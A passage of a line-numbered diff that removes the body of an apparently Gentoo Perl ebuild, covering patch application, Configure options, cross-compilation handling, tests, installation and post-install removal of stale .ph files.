- s/List packaged patches/&'" for ${PF}(#${PATCH_VER})"'/; |
1284 |
- |
1285 |
- # escape any backslashes and double quotes |
1286 |
- s|\\|\\\\|g; s|"|\\"|g; |
1287 |
- |
1288 |
- # add a prefix |
1289 |
- s|^|\t,"'"$prefix$patchname"' - |; |
1290 |
- # newlines away |
1291 |
- s/\n/ /g; s/ */ /g; |
1292 |
- # add a suffix |
1293 |
- s/ *$/"/; p |
1294 |
- }; |
1295 |
- # stop all processing |
1296 |
- d; |
1297 |
- # label: append to the hold space |
1298 |
- :append H; d; |
1299 |
- # label: prepend to the hold space |
1300 |
- :prepend x; H; d; |
1301 |
- ' |
1302 |
-done < "${WORKDIR}"/patches/series > "${S}/${patchoutput}" |
1303 |
-echo "${patchoutput}" >> "${S}/MANIFEST" |
1304 |
-} |
1305 |
- |
1306 |
-src_prepare_perlcross() { |
1307 |
- cp -a ../perl-cross-${CROSS_VER}/* . || die |
1308 |
- |
1309 |
- # bug 604072 |
1310 |
- MAKEOPTS+=" -j1" |
1311 |
- export MAKEOPTS |
1312 |
-} |
1313 |
-src_prepare_dynamic() { |
1314 |
- ln -s ${LIBPERL} libperl$(get_libname ${SHORT_PV}) || die |
1315 |
- ln -s ${LIBPERL} libperl$(get_libname ) || die |
1316 |
-} |
1317 |
- |
1318 |
-src_prepare() { |
1319 |
- local patch |
1320 |
- EPATCH_OPTS+=" -p1" |
1321 |
- |
1322 |
- if use hppa ; then |
1323 |
- epatch "${FILESDIR}/${PN}-5.26.2-hppa.patch" # bug 634162 |
1324 |
- fi |
1325 |
- |
1326 |
- # This fixes Storage/libperl segfaults on non glibc platforms |
1327 |
- epatch "${FILESDIR}/5.28/${P}-portability.patch" |
1328 |
- |
1329 |
- if [[ ${CHOST} == *-solaris* ]] ; then |
1330 |
- # do NOT mess with nsl, on Solaris this is always necessary, |
1331 |
- # when -lsocket is used e.g. to get h_errno |
1332 |
- sed -i '/gentoo\/no-nsl\.patch/d' "${WORKDIR}/patches/series" || die |
1333 |
- fi |
1334 |
- |
1335 |
- einfo "Applying patches from ${PATCH_BASE} ..." |
1336 |
- while read patch ; do |
1337 |
- EPATCH_SINGLE_MSG=" ${patch} ..." |
1338 |
- epatch "${WORKDIR}"/patches/${patch} |
1339 |
- done < "${WORKDIR}"/patches/series |
1340 |
- |
1341 |
- src_prepare_update_patchlevel_h |
1342 |
- |
1343 |
- tc-is-cross-compiler && src_prepare_perlcross |
1344 |
- |
1345 |
- tc-is-static-only || src_prepare_dynamic |
1346 |
- |
1347 |
- if use gdbm; then |
1348 |
- sed -i "s:INC => .*:INC => \"-I${EROOT}usr/include/gdbm\":g" \ |
1349 |
- ext/NDBM_File/Makefile.PL || die |
1350 |
- fi |
1351 |
- |
1352 |
- # Use errno.h from prefix rather than from host system, bug #645804 |
1353 |
- if use prefix && [[ -e "${EPREFIX}"/usr/include/errno.h ]] ; then |
1354 |
- sed -i "/my..sysroot/s:'':'${EPREFIX}':" ext/Errno/Errno_pm.PL || die |
1355 |
- fi |
1356 |
- |
1357 |
- if [[ ${CHOST} == *-solaris* ]] ; then |
1358 |
- # set a soname, fix linking against just built libperl |
1359 |
- sed -i -e 's/netbsd\*/netbsd*|solaris*/' Makefile.SH || die |
1360 |
- fi |
1361 |
- |
1362 |
- default |
1363 |
-} |
1364 |
- |
1365 |
-myconf() { |
1366 |
- # the myconf array is declared in src_configure |
1367 |
- myconf=( "${myconf[@]}" "$@" ) |
1368 |
-} |
1369 |
- |
1370 |
-src_configure() { |
1371 |
- declare -a myconf |
1372 |
- |
1373 |
- export LC_ALL="C" |
1374 |
- [[ ${COLUMNS:-1} -ge 1 ]] || unset COLUMNS # bug #394091 |
1375 |
- |
1376 |
- # some arches and -O do not mix :) |
1377 |
- use ppc && replace-flags -O? -O1 |
1378 |
- |
1379 |
- # Perl has problems compiling with -Os in your flags with glibc |
1380 |
- use elibc_uclibc || replace-flags "-Os" "-O2" |
1381 |
- |
1382 |
- # xlocale.h is going away in glibc-2.26, so it's counterproductive |
1383 |
- # if we use it and include it in CORE/perl.h ... Perl builds just |
1384 |
- # fine with glibc and locale.h only. |
1385 |
- # However, the darwin prefix people have no locale.h ... |
1386 |
- use elibc_glibc && myconf -Ui_xlocale |
1387 |
- |
1388 |
- # This flag makes compiling crash in interesting ways |
1389 |
- filter-flags "-malign-double" |
1390 |
- |
1391 |
- # Fixes bug #97645 |
1392 |
- use ppc && filter-flags "-mpowerpc-gpopt" |
1393 |
- |
1394 |
- # Fixes bug #143895 on gcc-4.1.1 |
1395 |
- filter-flags "-fsched2-use-superblocks" |
1396 |
- |
1397 |
- # Generic LTO broken since 5.28, triggers EUMM failures |
1398 |
- filter-flags "-flto" |
1399 |
- |
1400 |
- use sparc && myconf -Ud_longdbl |
1401 |
- |
1402 |
- export BUILD_BZIP2=0 |
1403 |
- export BZIP2_INCLUDE=${EROOT}/usr/include |
1404 |
- export BZIP2_LIB=${EROOT}/usr/$(get_libdir) |
1405 |
- |
1406 |
- export BUILD_ZLIB=False |
1407 |
- export ZLIB_INCLUDE=${EROOT}/usr/include |
1408 |
- export ZLIB_LIB=${EROOT}/usr/$(get_libdir) |
1409 |
- |
1410 |
- # allow either gdbm to provide ndbm (in <gdbm/ndbm.h>) or db1 |
1411 |
- myndbm='U' |
1412 |
- mygdbm='U' |
1413 |
- mydb='U' |
1414 |
- if use gdbm ; then |
1415 |
- mygdbm='D' |
1416 |
- if use berkdb ; then |
1417 |
- myndbm='D' |
1418 |
- fi |
1419 |
- fi |
1420 |
- if use berkdb ; then |
1421 |
- mydb='D' |
1422 |
- has_version '=sys-libs/db-1*' && myndbm='D' |
1423 |
- fi |
1424 |
- |
1425 |
- myconf "-${myndbm}i_ndbm" "-${mygdbm}i_gdbm" "-${mydb}i_db" |
1426 |
- |
1427 |
- if use alpha && [[ "$(tc-getCC)" = "ccc" ]] ; then |
1428 |
- ewarn "Perl will not be built with berkdb support, use gcc if you needed it..." |
1429 |
- myconf -Ui_db -Ui_ndbm |
1430 |
- fi |
1431 |
- |
1432 |
- use ithreads && myconf -Dusethreads |
1433 |
- |
1434 |
- if use debug ; then |
1435 |
- append-cflags "-g" |
1436 |
- myconf -DDEBUGGING |
1437 |
- elif [[ ${CFLAGS} == *-g* ]] ; then |
1438 |
- myconf -DDEBUGGING=-g |
1439 |
- else |
1440 |
- myconf -DDEBUGGING=none |
1441 |
- fi |
1442 |
- |
1443 |
- # Autodiscover all old version directories, some of them will even be newer |
1444 |
- # if you downgrade |
1445 |
- if [[ -z ${PERL_OLDVERSEN} ]]; then |
1446 |
- PERL_OLDVERSEN="$( |
1447 |
- find "${EROOT%/}${PRIV_BASE}" "${EROOT%/}${SITE_BASE}" "${EROOT%/}${VENDOR_BASE}" \ |
1448 |
- -maxdepth 1 -mindepth 1 -type d -regex '.*/5[.][0-9]+[.][0-9]+$' \ |
1449 |
- -printf "%f " 2>/dev/null )" |
1450 |
- fi |
1451 |
- # Fixup versions, removing self match, fixing order and dupes |
1452 |
- PERL_OLDVERSEN="$( |
1453 |
- echo "${PERL_OLDVERSEN}" |\ |
1454 |
- tr " " "\n" |\ |
1455 |
- grep -vF "${DIST_VERSION%-RC}" |\ |
1456 |
- sort -u -nr -t'.' -k1,1 -k2,2 -k3,3 |
1457 |
- )" |
1458 |
- |
1459 |
- # Experts who want a "Pure" install can set PERL_OLDVERSEN to an empty string |
1460 |
- if [[ -n "${PERL_OLDVERSEN// }" ]]; then |
1461 |
- local inclist="$( |
1462 |
- for v in ${PERL_OLDVERSEN}; do |
1463 |
- has "${v}" ${PERL_BIN_OLDVERSEN} && echo -n "${v}/${myarch}${mythreading} "; |
1464 |
- echo -n "${v} "; |
1465 |
- done )" |
1466 |
- einfo "This version of perl may partially support modules previously" |
1467 |
- einfo "installed in any of the following paths:" |
1468 |
- for incpath in ${inclist}; do |
1469 |
- [[ -e "${EROOT%/}${VENDOR_BASE}/${incpath}" ]] && einfo " ${EROOT%/}${VENDOR_BASE}/${incpath}" |
1470 |
- [[ -e "${EROOT%/}${PRIV_BASE}/${incpath}" ]] && einfo " ${EROO%/T}${PRIV_BASE}/${incpath}" |
1471 |
- [[ -e "${EROOT%/}${SITE_BASE}/${incpath}" ]] && einfo " ${EROOT%/}${SITE_BASE}/${incpath}" |
1472 |
- done |
1473 |
- einfo "This is a temporary measure and you should aim to cleanup these paths" |
1474 |
- einfo "via world updates and perl-cleaner" |
1475 |
- myconf -Dinc_version_list="${inclist}" |
1476 |
- fi |
1477 |
- |
1478 |
- [[ ${ELIBC} == "FreeBSD" ]] && myconf "-Dlibc=/usr/$(get_libdir)/libc.a" |
1479 |
- |
1480 |
- # Make sure we can do the final link #523730, need to set deployment |
1481 |
- # target to override hardcoded 10.3 which breaks on modern OSX |
1482 |
- [[ ${CHOST} == *-darwin* ]] && \ |
1483 |
- myconf "-Dld=env MACOSX_DEPLOYMENT_TARGET=${MACOSX_DEPLOYMENT_TARGET} $(tc-getCC)" |
1484 |
- |
1485 |
- # Older macOS with non-Apple GCC chokes on inline in system headers |
1486 |
- # using c89 mode as injected by cflags.SH |
1487 |
- [[ ${CHOST} == *-darwin* && ${CHOST##*darwin} -le 9 ]] && tc-is-gcc && \ |
1488 |
- append-cflags -Dinline=__inline__ |
1489 |
- |
1490 |
- # fix unaligned access misdetection |
1491 |
- # https://rt.perl.org/Public/Bug/Display.html?id=133495 |
1492 |
- [[ ${CHOST} == sparc*-solaris* ]] && myconf "-Dd_u32align='define'" |
1493 |
- |
1494 |
- # Prefix: the host system needs not to follow Gentoo multilib stuff, and in |
1495 |
- # Prefix itself we don't do multilib either, so make sure perl can find |
1496 |
- # something compatible. |
1497 |
- if use prefix ; then |
1498 |
- # Set a hook to check for each detected library whether it actually works. |
1499 |
- export libscheck=" |
1500 |
- ( echo 'main(){}' > '${T}'/conftest.c && |
1501 |
- $(tc-getCC) -o '${T}'/conftest '${T}'/conftest.c -l\$thislib >/dev/null 2>/dev/null |
1502 |
- ) || xxx=/dev/null" |
1503 |
- |
1504 |
- # Use all host paths that might contain useful stuff, the hook above will filter out bad choices. |
1505 |
- local paths="/lib/*-linux-gnu /usr/lib/*-linux-gnu /lib64 /lib/64 /usr/lib64 /usr/lib/64 /lib32 /usr/lib32 /lib /usr/lib" |
1506 |
- myconf "-Dlibpth=${EPREFIX}/$(get_libdir) ${EPREFIX}/usr/$(get_libdir) ${paths}" |
1507 |
- elif [[ $(get_libdir) != "lib" ]] ; then |
1508 |
- # We need to use " and not ', as the written config.sh use ' ... |
1509 |
- myconf "-Dlibpth=/usr/local/$(get_libdir) /$(get_libdir) /usr/$(get_libdir)" |
1510 |
- fi |
1511 |
- |
1512 |
- # don't try building ODBM, bug #354453 |
1513 |
- disabled_extensions="ODBM_File" |
1514 |
- |
1515 |
- if ! use gdbm ; then |
1516 |
- # workaround for bug #157774: don't try building GDBM related stuff with USE="-gdbm" |
1517 |
- disabled_extensions="${disabled_extensions} GDBM_File NDBM_File" |
1518 |
- fi |
1519 |
- |
1520 |
- myconf -Dnoextensions="${disabled_extensions}" |
1521 |
- |
1522 |
- [[ "${PV##*.}" == "9999" ]] && myconf -Dusedevel -Uversiononly |
1523 |
- |
1524 |
- [[ -n "${EXTRA_ECONF}" ]] && ewarn During Perl build, EXTRA_ECONF=${EXTRA_ECONF} |
1525 |
- # allow fiddling via EXTRA_ECONF, bug 558070 |
1526 |
- eval "local -a EXTRA_ECONF=(${EXTRA_ECONF})" |
1527 |
- |
1528 |
- myconf \ |
1529 |
- -Duseshrplib \ |
1530 |
- -Darchname="${myarch}" \ |
1531 |
- -Dcc="$(tc-getCC)" \ |
1532 |
- -Doptimize="${CFLAGS}" \ |
1533 |
- -Dldflags="${LDFLAGS}" \ |
1534 |
- -Dprefix="${EPREFIX}"'/usr' \ |
1535 |
- -Dsiteprefix="${EPREFIX}"'/usr/local' \ |
1536 |
- -Dvendorprefix="${EPREFIX}"'/usr' \ |
1537 |
- -Dscriptdir="${EPREFIX}"'/usr/bin' \ |
1538 |
- -Dprivlib="${EPREFIX}${PRIV_LIB}" \ |
1539 |
- -Darchlib="${EPREFIX}${ARCH_LIB}" \ |
1540 |
- -Dsitelib="${EPREFIX}${SITE_LIB}" \ |
1541 |
- -Dsitearch="${EPREFIX}${SITE_ARCH}" \ |
1542 |
- -Dvendorlib="${EPREFIX}${VENDOR_LIB}" \ |
1543 |
- -Dvendorarch="${EPREFIX}${VENDOR_ARCH}" \ |
1544 |
- -Dman1dir="${EPREFIX}"/usr/share/man/man1 \ |
1545 |
- -Dman3dir="${EPREFIX}"/usr/share/man/man3 \ |
1546 |
- -Dsiteman1dir="${EPREFIX}"/usr/local/man/man1 \ |
1547 |
- -Dsiteman3dir="${EPREFIX}"/usr/local/man/man3 \ |
1548 |
- -Dvendorman1dir="${EPREFIX}"/usr/share/man/man1 \ |
1549 |
- -Dvendorman3dir="${EPREFIX}"/usr/share/man/man3 \ |
1550 |
- -Dman1ext='1' \ |
1551 |
- -Dman3ext='3pm' \ |
1552 |
- -Dlibperl="${LIBPERL}" \ |
1553 |
- -Dlocincpth="${EPREFIX}"'/usr/include ' \ |
1554 |
- -Dglibpth="${EPREFIX}/$(get_libdir) ${EPREFIX}/usr/$(get_libdir)"' ' \ |
1555 |
- -Duselargefiles \ |
1556 |
- -Dd_semctl_semun \ |
1557 |
- -Dcf_by='Gentoo' \ |
1558 |
- -Dmyhostname='localhost' \ |
1559 |
- -Dperladmin='root@localhost' \ |
1560 |
- -Ud_csh \ |
1561 |
- -Dsh="${EPREFIX}"/bin/sh \ |
1562 |
- -Dtargetsh="${EPREFIX}"/bin/sh \ |
1563 |
- -Uusenm \ |
1564 |
- "${myconf[@]}" \ |
1565 |
- "${EXTRA_ECONF[@]}" |
1566 |
- |
1567 |
- if tc-is-cross-compiler; then |
1568 |
- ./configure \ |
1569 |
- --target="${CHOST}" \ |
1570 |
- --build="${CBUILD}" \ |
1571 |
- -Dinstallprefix='' \ |
1572 |
- -Dinstallusrbinperl='undef' \ |
1573 |
- -Dusevendorprefix='define' \ |
1574 |
- "${myconf[@]}" \ |
1575 |
- || die "Unable to configure" |
1576 |
- else |
1577 |
- sh Configure \ |
1578 |
- -des \ |
1579 |
- -Dinstallprefix="${EPREFIX}"'/usr' \ |
1580 |
- -Dinstallusrbinperl='n' \ |
1581 |
- "${myconf[@]}" \ |
1582 |
- || die "Unable to configure" |
1583 |
- fi |
1584 |
-} |
1585 |
- |
1586 |
-src_test() { |
1587 |
- export NO_GENTOO_NETWORK_TESTS=1; |
1588 |
- export GENTOO_ASSUME_SANDBOXED="${GENTOO_ASSUME_SANDBOXED:-1}" |
1589 |
- export GENTOO_NO_PORTING_TESTS="${GENTOO_NO_PORTING_TESTS:-1}" |
1590 |
- if [[ ${EUID} == 0 ]] ; then |
1591 |
- ewarn "Test fails with a sandbox error (#328793) if run as root. Skipping tests..." |
1592 |
- return 0 |
1593 |
- fi |
1594 |
- use elibc_uclibc && export MAKEOPTS+=" -j1" |
1595 |
- TEST_JOBS="$(makeopts_jobs)" make test_harness || die "test failed" |
1596 |
-} |
1597 |
- |
1598 |
-src_install() { |
1599 |
- local i |
1600 |
- local coredir="${ARCH_LIB}/CORE" |
1601 |
- |
1602 |
- emake DESTDIR="${D}" install |
1603 |
- |
1604 |
- rm -f "${ED}/usr/bin/perl${MY_PV}" |
1605 |
- ln -s perl "${ED}"/usr/bin/perl${MY_PV} || die |
1606 |
- |
1607 |
- if ! tc-is-static-only ; then |
1608 |
- dolib.so "${ED}"${coredir}/${LIBPERL} |
1609 |
- rm -f "${ED}"${coredir}/${LIBPERL} |
1610 |
- ln -sf ${LIBPERL} "${ED}"/usr/$(get_libdir)/libperl$(get_libname ${SHORT_PV}) || die |
1611 |
- ln -sf ${LIBPERL} "${ED}"/usr/$(get_libdir)/libperl$(get_libname) || die |
1612 |
- ln -sf ../../../../../$(get_libdir)/${LIBPERL} "${ED}"${coredir}/${LIBPERL} || die |
1613 |
- ln -sf ../../../../../$(get_libdir)/${LIBPERL} "${ED}"${coredir}/libperl$(get_libname ${SHORT_PV}) || die |
1614 |
- ln -sf ../../../../../$(get_libdir)/${LIBPERL} "${ED}"${coredir}/libperl$(get_libname) || die |
1615 |
- fi |
1616 |
- |
1617 |
- rm -rf "${ED}"/usr/share/man/man3 || die "Unable to remove module man pages" |
1618 |
- |
1619 |
- # This removes ${D} from Config.pm |
1620 |
- for i in $(find "${D}" -iname "Config.pm" ) ; do |
1621 |
- einfo "Removing ${D} from ${i}..." |
1622 |
- sed -i -e "s:${D}::" "${i}" || die "Sed failed" |
1623 |
- done |
1624 |
- |
1625 |
- dodoc Changes* README AUTHORS |
1626 |
- |
1627 |
- if use doc ; then |
1628 |
- # HTML Documentation |
1629 |
- # We expect errors, warnings, and such with the following. |
1630 |
- |
1631 |
- dodir /usr/share/doc/${PF}/html |
1632 |
- LD_LIBRARY_PATH=. ./perl installhtml \ |
1633 |
- --podroot='.' \ |
1634 |
- --podpath='lib:ext:pod:vms' \ |
1635 |
- --recurse \ |
1636 |
- --htmldir="${ED}/usr/share/doc/${PF}/html" |
1637 |
- fi |
1638 |
- |
1639 |
- [[ -d ${ED}/usr/local ]] && rm -r "${ED}"/usr/local |
1640 |
- |
1641 |
- dual_scripts |
1642 |
-} |
1643 |
- |
1644 |
-pkg_preinst() { |
1645 |
- check_rebuild |
1646 |
-} |
1647 |
- |
1648 |
-pkg_postinst() { |
1649 |
- dual_scripts |
1650 |
- |
1651 |
- if [[ "${ROOT}" = "/" ]] ; then |
1652 |
- local INC DIR file |
1653 |
- INC=$(perl -e 'for $line (@INC) { next if $line eq "."; next if $line =~ m/'${SHORT_PV}'|etc|local|perl$/; print "$line\n" }') |
1654 |
- einfo "Removing old .ph files" |
1655 |
- for DIR in ${INC} ; do |
1656 |
- if [[ -d "${DIR}" ]] ; then |
1657 |
- for file in $(find "${DIR}" -name "*.ph" -type f ) ; do |
1658 |
- rm -f "${file}" |
1659 |
- einfo "<< ${file}" |
1660 |
- done |
1661 |
- fi |
1662 |
- done |
1663 |
- # Silently remove the now empty dirs |
1664 |
- for DIR in ${INC} ; do |
1665 |
- if [[ -d "${DIR}" ]] ; then |
1666 |
- find "${DIR}" -depth -type d -print0 | xargs -0 -r rmdir &> /dev/null |
1667 |
- fi |
1668 |
- done |
1669 |
- |
1670 |
- fi |
1671 |
-} |
1672 |
- |
1673 |
-pkg_postrm(){ |
1674 |
- dual_scripts |
1675 |
-} |